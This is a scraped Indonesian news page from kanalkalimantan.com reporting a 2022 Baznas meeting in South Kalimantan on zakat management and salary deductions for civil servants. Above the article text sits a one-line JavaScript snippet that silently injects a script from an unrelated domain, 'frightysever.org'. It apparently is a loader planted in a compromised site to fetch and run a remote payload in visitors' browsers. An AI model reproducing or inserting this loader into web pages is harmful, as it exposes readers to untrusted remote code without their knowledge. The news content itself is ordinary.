(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Badan Amil Zakat Nasional (Baznas) menggelar rapat kordinasi daerah (Rakorda) se Kalimantan Selatan (Kalsel) di Ballroom Grand Dafam Q Hotel Banjarbaru, Rabu (21/9/2022). Pertemuan tersebut guna harmonisasi pengelolaan zakat.
Rakorda yang dilaksanakan tiga hari tanggal 21-23 September 2022 ini, focus pada penguatan kelembagaan demi mendorong kesejahteraan mustahik melalui dana zakat, infak dan sadakah yang disalurlan masyarakat.
Pimpinan Baznas RI, Saidah Sakwan berkata Rakorda yang digelar Baznas Kalsel akan mengkonsulidasikan terkait penguatan kelembagaan yang didalamnya juga ada penguatan pengumpulan.
“Dari Inpres No. 3 Tahun 2011 bahwa Baznas dimandatkan negara untuk mengelola zakat ASN, pengelolaannya akam diserahkan seluruh ke pemerintah daerah masing-masing,” katanya.
Baca juga : Penumpang Bus BTS Banjarbakula Wajib Pakai Kartu Non Tunai, Begini Cara Dapatkannya!
Dilanjutkan Saidah, beberapa daerah sudah memberlakukan pemotongan gaji ASN untuk disalurkan melalui Baznas dengan sistem Payroll.
“Jadi teman-teman ASN yang sudah mencapai nisab akan dipotong langsung zakatnya 2,5 persen,” bebernya.
Secara konstitusional kata saidah pengumpulan zakat ini legal yang akan dipergunakan untuk masyarakat.
“Dananya akan sipergunakan untuk menggulangi angka kemiskinan, di Kalsel kita punya data desa yang masuk angka kemiskinan yang ekstrim, angka stunting masih tinggi, zakat ini akan dipergunakan untuk menanggulanginya,” tuturnya.
Baca juga : Permata Ummat Bersama Polda Kalsel Bagi Sembako dan Voucher BBM ke Ojol
Dana zakat ini juga bisa dipergunakan untuk pemberian beasiswa, yang dipersiapkan untuk masuk di 10 perguruan tinggi negeri terbaik, pun untuk sekolah di luar negeri.
Masih kata Saidah dana zakat ini akan dipergunakan untuk generasi terbaik Kalsel kedepan dengan intervensi pendidikan.
Sementara itu, Sekretaris Daerah Kalsel, Roy Rizali Anwar berkata potensi zakat di Kalsel sangatlah besar karena mayoritas muslim. Dapat meningkatkan kesejahteraan di Kalsel.
“Ini bisa digunakan membantu pemerintah dalam melaksanakan tugas-tugas pemerintah seperti pengentasan kemiskinan, penanganan stunting, peningkatan SDM, bedah rumah bahkan bantuan untuk usaha seperti program gerobak untuk memberdayakan ekonomi, karena regulasi, aturan dan mikanismenya jelas,” katanya.
Baca juga : Pemkab Tanbu dan BKKBN Provinsi Kalsel Terget Zero Stunting!
Terkait pemotingan gaji ASN untuk zakat, Roy membeberkan Pemprov Kalsel sedang menyiapkan semua regulasi.
“Kita sedang siapkan regulasinya, semoga dalam waktu dekat bisa ditanda tangani pak gubernur, kemudian akan disosialisasikan kepada ASN dan langsung dilakukan pemotongan,” bebernya.
Dituturkannya, ada 11 ribu ASN lingkup Pemprov Kalsel.
“Kalau secara keseluruhan ada 35 ribu dengan kabupaten/kota,” tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.